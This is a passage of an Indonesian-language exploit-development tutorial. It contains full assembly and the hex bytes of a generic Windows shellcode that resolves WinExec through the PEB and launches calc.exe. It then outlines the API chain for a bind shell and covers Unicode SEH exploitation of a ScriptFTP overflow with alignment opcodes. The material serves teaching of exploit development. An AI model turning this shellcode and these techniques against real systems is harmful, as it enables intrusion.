Instruksi push eax menaruh nilai kosong ke stack untuk parameter WinExec yang membutuhkan parameter CmdShow. Instruksi berikutnya push ebx dan mov ebx, 0x76bccd60 menaruh string calc ke memori stack untuk mengisi parameter kedua yaitu CmdLine, berikutnya register ebx ditimpa dengan alamat fungsi WinExec di kernel32.dll yang ada di 0x76bccd60 (alamat ini bisa berbeda-beda setiap versi Windows, ditambah lagi dapat berubah-ubah ketika sistem operasi dimuat ulang karena adanya ASLR). Instruksi call ebx akan memanggil fungsi tersebut. Hasilnya sama seperti sebelumnya, program kalkulator akan tereksekusi.

Membuat shellcode yang generik (umum)

Pada tulisan di atas, shellcode yang kita tulis merupakan shellcode spesifik yang hanya berjalan di Windows 10 Enterprise Evaluation (version 2004, build 19041.388). Lalu bagaimana kita membuatnya untuk dapat berjalan pada versi Windows lain (Windows 7, 8, 8.1, 10)? Jika kita perhatikan, ada beberapa hal yang memaksa kondisi shellcode di atas menjadi kondisi yang spesifik:

  1. Alamat kernel32.dll yang berubah-ubah karena versi Windows, dalam hal ini khusus Windows 10 Enterprise Evaluation (version 2004, build 19041.388)
  2. Alamat kernel32.dll yang berubah-ubah saat dimuat ulang karena ASLR
  3. Karena alamat kernel32.dll berubah-ubah, kita tidak dapat mengetahui alamat ke fungsi WinExec dan ExitProcess dengan pasti

Dengan mengetahui kondisi di atas, yang perlu diatasi yaitu bagaimana mengetahui alamat kernel32.dll setiap versi Windows sehingga kita selalu dapat “mengambil” (resolve) fungsi WinExec dan ExitProcess yang ada di kernel32.dll setiap versi Windows dan mereferensikannya di shellcode. Jika diringkas, untuk membuat shellcode yang generic perlu melakukan hal berikut:

  1. Mencari alamat dasar (base address) dari modul kernel32.dll
  2. Mencari alamat ke fungsi WinExec dan ExitProcess
  3. Menaruh argument/parameter yang dibutuhkan dan memanggil fungsi WinExec
  4. Menaruh argument/parameter yang dibutuhkan dan memanggil fungsi ExitProcess

Mencari alamat dasar modul kernel32.dll

Ada beberapa teknik yang dapat digunakan untuk mencari alamat dasar dari kernel32.dll diantaranya:

  • Melihat di PEB melalui posisi ketiga dari parameter InMemoryOrderModuleList yang selalu diisi oleh alamat dasar kernel32.dll
  • Melihat di TEB lalu melakukan loop dan mencari string MZ (0x5a4d), karena kernel32.dll merupakan executable yang mengandung header MZ.

Pada tulisan kali ini, saya akan menggunakan teknik pada poin pertama yaitu mencari alamat dasar kernel32.dll melalui PEB. Tehnik ini didasari pengetahuan bahwa salah satu anggota PEB yang bernama Ldr menyimpan penunjuk ke strukturPEB_LDR_DATA yang menyimpan informasi modul-modul yang dimuat pada proses tersebut. Struktur dari PEB_LDR_DATA dapat kita lihat sebagai berikut:

typedef struct _PEB_LDR_DATA { 
  BYTE Reserved1[8];
  PVOID Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList; 
} PEB_LDR_DATA, *PPEB_LDR_DATA;

Seperti yang kita lihat di struktur di atas, terdapat anggota yang bernamaInMemoryOrderModuleList. Bagian ini mengandung awalan dari daftar double linked-list (Flink dan Blink) yang berisi referensi alamat modul-modul pada proses tersebut.

typedef struct _LIST_ENTRY { 
  struct _LIST_ENTRY *Flink;
  struct _LIST_ENTRY *Blink; 
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

Setiap isi dalam daftar tersebut adalah penunjuk ke struktur LDR_DATA_TABLE_ENTRY yang memiliki struktur sebagai berikut:

typedef struct _LDR_DATA_TABLE_ENTRY { 
  PVOID Reserved1[2]; 
  LIST_ENTRY InMemoryOrderLinks; 
  PVOID Reserved2[2]; 
  PVOID DllBase; 
  PVOID EntryPoint;
  PVOID Reserved3;
  UNICODE_STRING FullDllName;
  BYTE Reserved4[8];
  PVOID Reserved5[3];
  union { 
      ULONG CheckSum; 
      PVOID Reserved6; 
  };
  ULONG TimeDateStamp; 
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

DllBase pada struktur di ataslah yang akan memegang alamat dasar dari kernel32.dll. Namun untuk mengambil alamat tersebut, kita perlu melakukan kalkulasi yang tepat agar mendapatkan alamat kernel32.dll yang sesuai. Teori di atas dapat kita uji dengan cara menjalankan file shellcodetest.exe menggunakan WinDbg.

Untuk mengambil alamat dasar kernel32.dll, kita bisa mengambil nilai PEB lalu menaruhnya di salah satu register, misalkan register EBX. Pertama-tama kita bisa mengosongkan nilai EBX dengan instruksi xor ebx,ebx. Alamat PEB berada di fs:[0+0x30], kita bisa menggunakan instruksi mov ebx, [fs:ebx+0x30] untuk mengambil nilai PEB dan menaruhnya di EBX. Selanjutnya kita dapat mengeksekusi instruksi mov ebx, [ebx+0xC] untuk mengeluarkan informasi dari Ldr (penunjuk ke _LDR_DATA). Kita bisa melihatnya lebih detail dengan mengeksekusi perintah dt _PEB melalui WinDbg:

Posisi PEB pada saat program dimuat ke WinDbg
Posisi Ldr pada PEB ($peb+0xc)

Setelah mendapatkan penunjuk ke Ldr, posisi daftar InMemoryOrderModuleList terdapat pada _PEB_LDR_DATA + 0x14. Dapat kita lihat pula bahwa pada posisi _PEB_LDR_DATA + 0x1c terdapat daftar lain yaitu InInitializationOrderModuleList yang rupanya mengandung double linked-list yang juga berdekatan dengan posisi alamat dasar kernel32.dll.

Daftar InMemoryOderModuleList dan InInitializationOrderModuleList sama-sama menunjuk ke double linked-list yang mengarah ke alamat dasar kernel32.dll

Karena kedua daftar tersebut dapat dimanfaatkan untuk mengekstrak alamat dasar kernel32.dll, saya akan pilih salah satu yaitu InMemoryOrderModuleList. Untuk mengekstraknya, kita tinggal mengeksekusi instruksimov ebx, [ebx+0x14] yang mengekstrak nilai _PEB_LDR_DATA +0x14 yang merupakan pointer dari Ldr.InMemoryOrderModuleList. Nilai pada alamat ini jika direferensikan maka akan mengeluarkan nilai Flink dan Blink yang mengarah ke alamat dasar dari kernel32.dll.

Daftar dari ntdll yang mereferensikan alamat flink blink dan mengandung alamat dasar kernel32.dll

Seperti bisa terlihat pada cuplikan layar di atas, alamat dasar kernel32.dll ada di 0x76b70000(pada mesin saya), posisi ini ditunjuk oleh _LIST_ENTRY.Flink-0x08. Kita juga bisa lihat bahwa DllBase ada di offset _LDR_DATA_TABLE_ENTRY+0x18. Jika kita terjemahkan maka akan menjadi 0x00693d70-0x08+0x18 yang jika dipersingkat melalui perintah WinDbg menjadi:

0:000> dd poi(poi(poi(poi(@$peb+0xc)+0x14)))+0x10 L1
00693d80 76b70000

Jika kita buat dalam bahasa rakitan maka menjadi seperti ini:

; Find kernel32.dll base address
; different approach using InMemoryOrderModuleList
; credit to Bobby Cooke (boku)
; https://www.exploit-db.com/shellcodes/48116
 xor ebx, ebx            ; EBX = 0x00000000
 mov ebx, [fs:ebx+0x30]  ; EBX = Address_of_PEB
 mov ebx, [ebx+0xC]      ; EBX = Address_of_LDR
 mov ebx, [ebx+0x14]     ; EBX = 1st entry in InMemoryOrderModuleList / ntdll.dll
 mov ebx, [ebx]          ; EBX = 2nd entry in Flink / kernelbase.dll
 mov ebx, [ebx]          ; EBX = 3rd entry in Flink / kernel32.dll
 mov eax, [ebx+0x10]     ; EAX = &kernel32.dll / Address of kernel32.dll
 mov [ebp-0x4], eax      ; [EBP-0x04] = &kernel32.dll

Skrip di atas yang saya pinjam dari Exploit-DB (https://www.exploit-db.com/shellcodes/48116) dengan sedikit perubahan, akan menyimpan alamat dasar kernel32.dll ke register EAX. Setelah kita mendapatkan alamat dasar dari kernel32.dll, kita bisa pakai nilai ini untuk melakukan pencarian (resolve) fungsi WinExec dan ExitProcess secara dinamik yang berarti alamat tersebut dapat selalu ditemukan walaupun alamat dasar kernel32.dll berubah.

Mencari alamat ke fungsi WinExec dan ExitProcess

Tehnik umum yang digunakan untuk mencari alamat dari fungsi WinExec dan ExitProcess adalah dengan melakukan pencarian di Export Directory Table yang memang terdapat pada setiap PE (portable executable) image.

Teknik ini akan melakukan pencarian fungsi yang kita inginkan, dalam hal ini WinExec dan ExitProcess, dengan cara loop di dalam Export Table. Jika disederhanakan, teknik ini akan:

  1. Mencari alamat Export Table dengan cara mengkalkulasi offset dari PE Header ditambah dengan 0x78. Hasil kalkulasi akan mengeluarkan RVA (Relative Virtual Address) dari Export Table.
  2. Mencari RVA dari Name Pointer Table dengan cara menjumlahkan RVA Export Table dengan 0x20. Nilai dari kalkulasi ini akan disimpan ke memori stack sebagai referensi.
  3. Mencari RVA dari Ordinal Table dengan cara menjumlahkan RVA Export Table dengan 0x24. Nilai dari kalkulasi ini akan disimpan ke memori stack sebagai referensi.
  4. Mencari RVA dari Address Table dengan cara menjumlahkan RVA Export Table dengan 0x1c. Nilai dari kalkulasi ini akan disimpan ke memori stack sebagai referensi.
  5. Mencari jumlah Exported Functions yang terdapat pada modul kernel32.dll, hal ini ditujukan untuk mengetahui berapa fungsi yang diperlukan untuk loop selama pencarian fungsi WinExec dan ExitProcess. Untuk mencarinya tinggal menjumlahkan hasil RVA Export Table dengan 0x14. Nilai dari kalkulasi ini akan disimpan ke stack sebagai referensi
  6. Setelah nilai dari Export Table berhasil disimpan sebagai referensi, langkah selanjutnya adalah dengan mendorong string WinExec dan ExitProcess ke memori stack dan mencarinya dengan loop.
  7. Proses loop ini akan mencari string WinExec dan ExitProcess dengan cara membandingkan nilai string yang ingin ditemukan (WinExec dan ExitProcess) di dalam lingkup jumlah Exported Functions yang ada. Jika masih dalam jumlah lingkup Exported Functions, maka pencarian akan terus berlanjut. Pencarian akan berhenti apabila proses loop menemukan awal dari string WinExec dan ExitProcess di dalam salah satu register (8 bytes pertama).
  8. Setelah alamat dari fungsi WinExec ditemukan, maka proses selanjutnya adalah mendorong string calc.exe ke memori stack dan memanggil alamat fungsi WinExec yang sudah ditemukan sebelumnya.
  9. Untuk fungsi ExitProcess, sama seperti WinExec, tinggal mendorong nilai null sebagai parameter yang dibutuhkan oleh ExitProcess untuk mematikan proses tersebut.

Jika dalam bentuk bahasa rakitan, maka proses di atas akan menjadi seperti ini (saya masih meminjam dari https://www.exploit-db.com/shellcodes/48116):

; Find the address of the WinExec Symbol within kernel32.dll
; + The hex values will change with different versions of Windows

; Find the address of the Export Table within kernel32.dll
 mov ebx, [eax+0x3C]     ; EBX = Offset NewEXEHeader  = 0xF8
 add ebx, eax            ; EBX = &NewEXEHeader        = 0xF8 + &kernel32.dll
 mov ebx, [ebx+0x78]     ; EBX = RVA ExportTable      = 0x777B0 = [&NewExeHeader + 0x78]
 add ebx, eax            ; EBX = &ExportTable         = RVA ExportTable + &kernel32.dll

; Find the address of the Name Pointer Table within kernel32.dll
; + Contains pointers to strings of function names - 4-byte/dword entries
 mov edi, [ebx+0x20]     ; EDI = RVA NamePointerTable = 0x790E0
 add edi, eax            ; EDI = &NamePointerTable    = 0x790E0 + &kernel32.dll
 mov [ebp-0x8], edi      ; save &NamePointerTable to stack frame

; Find the address of the Ordinal Table
;   - 2-byte/word entries
 mov ecx, [ebx+0x24]     ; ECX = RVA OrdinalTable     = 0x7A9E8
 add ecx, eax            ; ECX = &OrdinalTable        = 0x7A9E8 + &kernel32.dll
 mov [ebp-0xC], ecx      ; save &OrdinalTable to stack-frame

; Find the address of the Address Table
 mov edx, [ebx+0x1C]     ; EDX = RVA AddressTable     = 0x777CC
 add edx, eax            ; EDX = &AddressTable        = 0x777CC + &kernel32.dll
 mov [ebp-0x10], edx     ; save &AddressTable to stack-frame

; Find Number of Functions within the Export Table of kernel32.dll
 mov edx, [ebx+0x14]     ; EDX = Number of Functions  = 0x642
 mov [ebp-0x14], edx     ; save value of Number of Functions to stack-frame

jmp short functions

findFunctionAddr:
; Initialize the Counter to prevent infinite loop
 xor eax, eax            ; EAX = Counter = 0
 mov edx, [ebp-0x14]     ; get value of Number of Functions from stack-frame
; Loop through the NamePointerTable and compare our Strings to the Name Strings of kernel32.dll
searchLoop:
 mov edi, [ebp-0x8]      ; EDI = &NamePointerTable
 mov esi, [ebp+0x18]     ; ESI = Address of String for the Symbol we are searching for 
 xor ecx, ecx            ; ECX = 0x00000000
 cld                     ; clear direction flag - Process strings from left to right
 mov edi, [edi+eax*4]    ; EDI = RVA NameString      = [&NamePointerTable + (Counter * 4)]
 add edi, [ebp-0x4]      ; EDI = &NameString         = RVA NameString + &kernel32.dll
 add cx, 0x8             ; ECX = len("WinExec,0x00") = 8 = 7 char + 1 Null
 repe cmpsb              ; compare first 8 bytes of [&NameString] to "WinExec,0x00"
 jz found                ; If string at [&NameString] == "WinExec,0x00", then end loop
 inc eax                 ; else Counter ++
 cmp eax, edx            ; Does EAX == Number of Functions?
 jb searchLoop           ;   If EAX != Number of Functions, then restart the loop

found:
; Find the address of WinExec by using the last value of the Counter
 mov ecx, [ebp-0xC]      ; ECX = &OrdinalTable
 mov edx, [ebp-0x10]     ; EDX = &AddressTable
 mov ax,  [ecx + eax*2]  ;  AX = ordinalNumber   = [&OrdinalTable + (Counter*2)]
 mov eax, [edx + eax*4]  ; EAX = RVA WinExec     = [&AddressTable + ordinalNumber]
 add eax, [ebp-0x4]      ; EAX = &WinExec        = RVA WinExec + &kernel32.dll
 ret

functions:
; Create string 'WinExec\x00' on the stack and save its address to the stack-frame
 mov edx, 0x63657878     ; "cexx"
 shr edx, 8              ; Shifts edx register to the right 8 bits
 push edx                ; "\x00,cex"
 push 0x456E6957         ; EniW : 456E6957
 mov [ebp+0x18], esp     ; save address of string 'WinExec\x00' to the stack-frame
 call findFunctionAddr   ; After Return EAX will = &WinExec

; Call WinExec( CmdLine, ShowState );
;   CmdLine   = "calc.exe"
;   ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
 xor ecx, ecx          ; clear eax register
 push ecx              ; string terminator 0x00 for "calc.exe" string
 push 0x6578652e       ; exe. : 6578652e
 push 0x636c6163       ; clac : 636c6163
 mov ebx, esp          ; save pointer to "calc.exe" string in eax
 inc ecx               ; uCmdShow SW_SHOWNORMAL = 0x00000001
 push ecx              ; uCmdShow  - push 0x1 to stack # 2nd argument
 push ebx              ; lpcmdLine - push string address stack # 1st argument
 call eax              ; Call the WinExec Function

; Create string 'ExitProcess\x00' on the stack and save its address to the stack-frame
 xor ecx, ecx          ; clear eax register
 mov ecx, 0x73736501     ; 73736501 = "sse",0x01 // "ExitProcess",0x0000 string
 shr ecx, 8              ; ecx = "ess",0x00 // shr shifts the register right 8 bits
 push ecx                ;  sse : 00737365
 push 0x636F7250         ; corP : 636F7250
 push 0x74697845         ; tixE : 74697845
 mov [ebp+0x18], esp     ; save address of string 'ExitProcess\x00' to stack-frame
 call findFunctionAddr   ; After Return EAX will = &ExitProcess

; Call ExitProcess(ExitCode)
 xor edx, edx
 push edx                ; ExitCode = 0
 call eax                ; ExitProcess(ExitCode)

Jika digabungkan maka seperti yang kita lihat pada tautan Exploit-DB di https://www.exploit-db.com/shellcodes/48116. Penulis shellcode, Bobby Cooke, mendokumentasikan pembuatan shellcode nya dengan sangat baik sehingga memberikan gambaran apa yang dilakukan bahasa rakitan di atas. Jika dieksekusi, maka hasilnya akan sama dengan shellcode yang kita buat sebelumnya.

PS C:\Users\User\Desktop\shellcode-build\asm> nasm.exe -f bin -o generic-calc.bin .\generic-calc.asm
tom@WinDev2007Eval:/mnt/c/Users/User/Desktop/shellcode-build$ xxd -p asm/generic-calc.bin | tr -d '\n' | sed 's/(..)/\x\1/g'
\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x43\x10\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2\x52\xff\xd0
tom@WinDev2007Eval:/mnt/c/Users/User/Desktop/shellcode-build$
Hasil eksekusi yang sama untuk shellcode calc.exe sebelumnya dalam bentuk generik

Shellcode Bind/Reverse

Lalu bagaimana dengan shellcode reverse shell maupun bind shell? Pada dasarnya proses awalnya akan sama, yaitu mencari alamat dasar dari modul yang fungsinya akan dipanggil, lalu melakukan resolve alamat dari fungsi tersebut dan memanggilnya satu per satu. Pada shellcode bind shell misalkan, yang perlu dirangkai adalah:

  1. Mencari alamat dasar dari modul ws2_32.dll yang mengandung:
    • closesocket()
    • accept()
    • listen()
    • bind()
    • connect()
    • WSASocketA()
    • WSAStartup()
    • WSAGetLastError()
  2. Mencari alamat dasar dari modul kernel32.dll yang mengandung:
    • LoadLibraryA()
    • ExitProcess()
    • WaitForSingleObject()
    • CreateProcessA()
    • SetStdHandle()
  3. Mencari alamat dasar dari modul msvcrt.dll yang memiliki fungsi system()
  4. Melakukan kalkulasi offset untuk masing-masing fungsi dari modul tersebut (modul+offset fungsi() = alamat fungsi())
  5. Mengisi parameter yang dibutuhkan untuk fungsi-fungsi tersebut
  6. Memanggil fungsi tersebut beserta parameter dari tiap fungsi dimulai dari LoadLibraryA(), WSAStartup(), WSASocket() yang kemudian diikuti oleh subfungsi bind(), listen(), accept(), SetStdHandle(), lalu ditutup dengan memanggil fungsi system() di modul msvcrt.dll.

Terbayang betapa rumitnya merangkai semua proses di atas? Setuju! Namun bagi para pembaca yang ingin membuat shellcode bind/reverse sendiri, saya tinggalkan sebagai challenge 🙂

Kesimpulan

Dengan adanya tulisan ini, setidaknya kita memahami bagaimana cara kerja sebuah shellcode sehingga apabila ada kondisi yang memaksa kita untuk membuat atau mungkin menganalisis sebuah shellcode (misalkan shellcode dari sebuah malware), tulisan ini mudah-mudahan dapat membantu para pembaca sekalian. Membuat shellcode sendiri memang memaksa kita untuk berinteraksi lebih jauh dengan bahasa rakitan/mesin dan memahami bagaimana informasi dari image executable dapat dimanfaatkan untuk membuat sebuah shellcode yang generic.

Tentu saja untuk kasus-kasus tertentu yang membutuhkan penyelesaian yang cepat dan dapat diandalkan, saya tetap menggunakan Metasploit.

Referensi

Membangun Eksploitasi Windows Bagian 6: Membangun eksploit dalam kondisi Unicode

Akhirnya kita sampai pada teknik eksploit yang dulunya dianggap tidak bisa tereksploitasi. Tidak heran, karena kondisi Unicode mengacaukan proses eksploitasi yang sudah kita kenal sebelumnya, baik dengan teknik mengambil alih langsung EIP (direct RET overwrite) dan kondisi SEH.

Untuk mengikuti proses eksploit di tulisan ini, saya akan menggunakan tool berikut:

Beberapa tahun lalu ketika sedang mencari-cari aplikasi yang bisa dieksploitasi, saya menemukan kondisi yang tidak biasa pada SEH. Aplikasi yang memiliki kerentanan stack overflow ini bernama ScriptFTP, sebuah aplikasi yang berfungsi sebagai FTP client untuk berkomunikasi dengan FTP server. Ketika itu, ScriptFTP membutuhkan sebuah skrip yang harus dibuat dan dimuat ke program ScriptFTP agar dapat berkomunikasi dengan FTP server. Singkat cerita, ada kerentanan pada parameter LIST ketika nilai yang dikembalikan ke ScriptFTP tidak sesuai dan menyebabkan stack overflow (menimpa SEH). Eksploit lengkapnya bisa dilihat di Exploit-DB.

stack overflow SEH pada ScriptFTP

Seperti yang bisa kita lihat bahwa SEH tertimpa dengan buffer/junk, namun tidak seperti yang sudah-sudah, SEH malah tertimpa dengan 00410041 bukan 41414141. Kondisi ini disebabkan oleh proses pengkodean yang mungkin diperlukan oleh sebuah fungsi sebelum data ditempatkan di memori stack. Dalam hal ini, data 41414141 diubah ke format Unicode melalui fungsi MultiBytetoWideChar, sebuah fungsi untuk mengubah karakter string menjadi wide-character string (ANSI menjadi Unicode), yang mungkin digunakan pada program ScriptFTP.

Apa itu ANSI, Unicode?

Pada awalnya Windows membuat sebuah code page yang dapat merepresentasikan karakter internasional dengan cara mengkodekan ASCII menjadi sebuah nilai kode dan disimpan dalam sebuah page. Pada nyatanya penggunaan ANSI menimbulkan kerumitan dalam merepresentasikan karakter sehingga tidak efisien. ASCII merupakan karakter single-byte karena setiap karakter dapat direpresentasikan dengan sebuah byte, lain hal pada bahasa Jepang dan Cina yang membutuhkan pengkodean dengan double-byte sehingga hal ini menjadi semakin kompleks. Untuk alasan tersebut muncul pengkodean yang lebih umum yang bernama Unicode. Namun karena perjalanan dan perkembangan sistem, sampai saat ini Windows masih menggunakan pengkodean ANSI dengan alasan kompatibilitas dengan aplikasi-aplikasi lama.

Mengenai Unicode, saya ambil penjelasannya dari Wikipedia:

Unicode adalah suatu standar industri yang dirancang untuk mengizinkan teks dan simbol dari semua sistem tulisan di dunia untuk ditampilkan dan dimanipulasi secara konsisten oleh komputer.

-Wikipedia

Pada dasarnya adanya Unicode memberikan akses ke semua karakter-karakter yang ada di dunia yang tidak menggunakan alfabet seperti karakter Jepang, China, Korea, Russia, Israel, dlsb. Ada beberapa penggunaan UTF (Unicode Transformation Format) yang kita kenal seperti UTF-8, UTF-16, dan UTF-32. Windows sendiri menggunakan UTF-16. Pada UTF-16, setiap karakter dikodekan sebagai 2 bytes (16 bits). Penggunaan 2 bytes ini dianggap dapat merepresentasikan seluruh karakter internasional secara efisien dan menjadi standar. UTF-16 terorganisasi dalam sekumpulan karakter, sebagai contoh byte 0000007F merupakan representasi dari standar karakter ASCII, 008000FF merepresentasikan karakter Latin, 0100017F merepresentasikan Latin Eropa, dst.

Sejak Windows NT, Microsoft menggunakan Unicode untuk merepresentasikan penggunaan string dan fungsi API di internal sistem operasi. Beberapa aplikasi modern juga sudah mulai bermigrasi dari ANSI ke Unicode. Hal ini jadi alasan yang jelas kenapa memiliki pengetahuan tentang Unicode berperan penting dalam proses pembangunan eksploit ke depannya.

Ketika sebuah string dideklarasikan pada sebuah aplikasi Windows, string tersebut dapat direpresentasikan sebagai ANSI (ditandai dengan A, atau dikenal juga sebagai multi-byte) atau sebagai Unicode (ditandai dengan W — yang berarti Wide). Oleh karena itu pada sebuah fungsi API Windows kadang kita lihat ada tambahan A dan W pada akhir fungsi seperti fungsi MessageBox ini:

Beberapa debugger menggunakan istilah yang bercampur antara ANSI, ASCII, dan Unicode, pada tulisan ini kita akan fokus pada Windows eksploit (yang menggunakan ANSI dan Unicode) serta bagaimana Unicode dapat berpengaruh dalam pembangunan eksploit. Untuk itu ada beberapa hal yang perlu diperhatikan sebagai berikut:

  • Pada sistem Windows, penggunaan string bisa dalam bentuk ANSI (multi-byte) atau Unicode (UTF-16 atau WideChar)
  • ANSI dan Unicode sama-sama memiliki bentuk ASCII hanya saja formatnya berbeda. ANSI tergantung Code Page yang bisa saja menggunakan single atau multi-byte sedangkan Unicode punya standar yang terdiri dari 2 bytes. Singkatnya, ASCII bisa dikodekan dalam bentuk ANSI dan Unicode.
  • Tidak semua fungsi akan menggunakan Unicode, beberapa fungsi masih menggunakan ASCII karena beberapa aplikasi yang menggunakan string masih memakai null-byte (00) sebagai akhir dari string. Hal ini menjelaskan mengapa penggunaan protokol jaringan non-enkripsi (SMTP, POP3, dll) masih menggunakan ASCII.
  • Hasil konversi dari ASCII ke ANSI bukan berarti selalu berbentuk 0041 0041 0041 0041 tapi tergantung dari Code Page ANSI.
  • Dalam proses eksploitasi, saya beberapa kali berinteraksi dengan aplikasi yang menggunakan Unicode dan mengambil kesimpulan bahwa penggunaan Unicode selalu identik dengan masukan yang memiliki nama atau sebuah string, misal: nama file, lokasi ke sebuah direktori, nama fungsi, nama panggilan (call), dll.
  • Hanya karakter ASCII 00-7F yang memiliki representasi ANSI-Unicode ketika null-byte ditambahkan pada setiap karakter yang dikodekan. Slide presentasi dari FX menjelaskan hal ini.

Bagaimana Unicode mempengaruhi pembangunan eksploit di Windows?

Pada proses eksploitasi sebelumnya, kita ketahui bersama bahwa semua karakter yang kita muat sebagai payload eksploitasi merupakan representasi karakter ASCII. Pada awalnya kita akan mengirimkan sejumlah karakter (paling umum menggunakan karakter A) yang apabila menimpa EIP, maka hal tersebut digunakan sebagai tanda bahwa stack overflow dapat terjadi. Dalam kondisi tersebut, biasanya EIP akan tertimpa dengan karakter AAAA atau 414141 dalam heksa, pada kondisi Unicode, EIP akan tertimpa dengan 00410041. Tentu saja hal ini akan mengubah kondisi bagaimana kita membangun sebuah eksploit. Kita hanya dapat memanfaatkan 2 bytes karena sisanya merupakan null-bytes, ditambah lagi semua karakter di atas heksa 7F akan berubah menjadi karakter lain (lihat slide dokumen dari FX di atas). Lalu apakah kita masih dapat mengeksploitasi kerentanan pada aplikasi dengan kondisi Unicode? Tentu saja bisa, karena itulah ada tulisan ini 🙂

Teknik eksploitasi mengambil alih langsung EIP (direct EIP overwrite)

Pada teknik ini yang perlu diperhatikan adalah apa yang harus kita isi pada EIP. Jika pada kondisi umum EIP bisa kita isi dengan alamat ASCII, pada kondisi Unicode kita tidak dapat mengisi EIP dengan alamat yang sama dengan format ASCII karena pasti tidak akan berfungsi. Untuk itu kita perlu mencari alamat CALL/JMP ke register (biasanya ESP) dalam format Unicode, artinya alamat tersebut harus memiliki format 00xx00yy.

Untuk memudahkan pencarian alamat yang sepadan tersebut, FX membuat sebuah plugin OllyDbg yang bernama OllyUNI, lalu pada lain waktu Peter ‘Corelan’ van Eeckhoutte memasukkan fitur ini di skrip Mona yang dapat digunakan di Immunity Debugger.

Teknik eksploitasi dengan kondisi SEH

Lain halnya dengan proses eksploitasi direct EIP overwrite, proses eksploitasi pada kondisi SEH agak sedikit rumit dan membutuhkan proses analisis serta coba-coba. Jika kita ingat pada proses eksploitasi dengan kondisi SEH, kita akan berusaha menimpa SEH dengan alamat yang mengandung instruksi POP POP RET yang mengembalikan kita ke Next SEH, lalu dengan sedikit ‘lompatan’ kita bisa sampai pada shellcode.

Pada kondisi SEH, misalkan kita berhasil menimpa SEH dengan alamat POP POP RET dan kembali ke Next SEH, masalah berikutnya adalah bagaimana menemukan alamat untuk ‘lompat’ ke shellcode. Hanya tersisa 2 bytes yang dapat digunakan dan null-bytes pasti akan ditambahkan pada setiap karakter tersebut. Terlihat mustahil? Memang, oleh karena itu opsi ‘lompat’ ke shellcode pada kondisi SEH + Unicode jadi tidak memungkinkan dan kita perlu alternatif jalan lain.

Beruntungnya beberapa peneliti menemukan cara alternatif untuk ‘melompat’ ke shellcode yaitu dengan cara ‘berjalan’ melalui SEH. Istilah ‘berjalan’ disini juga belum benar-benar mencapai shellcode karena kita tetap perlu memposisikan shellcode pada lokasi yang sesuai lalu melakukan ‘lompatan’ terakhir yang membawa kita ke posisi shellcode tersebut. Teknik ‘berjalan’ ini menggunakan alamat yang mengandung karakter-karakter yang apabila menimpa Next SEH dan SEH tidak akan menyebabkan perubahan yang signifikan atau merusak tatanan register. Otomatis kita perlu mencari alamat tersebut, mencoba, dan memastikan alamat tersebut tidak merusak register.

Setelah teknik berjalan ini berhasil dilakukan dan melewati SEH, proses selanjutnya adalah ‘melompat’ ke shellcode. Melakukan lompatan pada kondisi SEH tidak semudah menggunakan JMP atau CALL karena keduanya memiliki opcode \xFF\xE4 dan \xFF\xD4. Untuk menyiasatinya kita dapat menaruh shellcode ini di salah satu register, misalkan register EAX, lalu kita ‘lompat’ ke register tersebut. Hal ini merupakan teknik umum dengan menggunakan Unicode shellcode yang diawakodekan (encoded), shellcode jenis ini mengandung sebuah pengkode (decoder) di awal shellcode (yang mengubah shellcode Unicode ke ASCII) dan melakukan proses “penerjemahan” shellcode ini di sebuah register. Sebagai contoh, setelah kita mengirimkan buffer/junk rupanya shellcode kita ada di register EBP+300, kita akan memindahkan shellcode ke register EAX dan memindahkan proses eksekusi shellcode ke EAX, berikut kira-kira rangkaian bahasa rakitan yang bisa digunakan:

55            push ebp 
58            pop eax 
0500140011    add eax,11001400 
2d00110011    sub eax,11001100

Bisa terlihat kalkulasi add dan sub di atas akan menghasilkan nilai register yang sebelumnya ada di EBP+300 akan tersimpan di register EAX. Setelah register EAX berhasil kita atur sesuai keinginan kita, opcode berikutnya adalah mendorong isi dari register EAX ke memori stack dan selanjutnya instruksi RET untuk proses eksekusi shellcode.

Jika diterapkan langsung pada eksploit dengan kondisi Unicode, rangkaian bahasa rakitan di atas tidak akan berjalan karena opcode PUSH EBP dan POP EAX berdekatan dan dapat menghasilkan rangkaian opcode baru seperti ini:

55          push ebp
005800      add byte ptr ds:[eax], bl

Untuk itu kita perlu menambahkan ‘karakter jeda’ yang apabila tereksekusi tidak akan berakibat apa-apa pada register yang ada. Beberapa karakter ini adalah (sebagian contoh):

006e 00     add byte ptr ds:[esi],ch
006d 00     add byte ptr ss:[ebp],ch
006f 00     add byte ptr ds:[edi],ch
0070 00     add byte ptr ds:[eax],dh
0071 00     add byte ptr ds:[ecx],dh
0072 00     add byte ptr ds:[edx],dh
0073 00     add byte ptr ds:[ebx],dh

Dan masih ada beberapa lainnya. Jika diterapkan pada bahasa rakitan sebelumnya akan menjadi seperti ini:

55           push ebp
006d 00      add byte ptr ss:[ebp],ch
58           pop eax
006d 00      add byte ptr ss:[ebp],ch
05 00140011  add eax,11001400
006d 00      add byte ptr ss:[ebp],ch
2d 00110011  sub eax,11001100
006d 00      add byte ptr ss:[ebp],ch
50           push eax
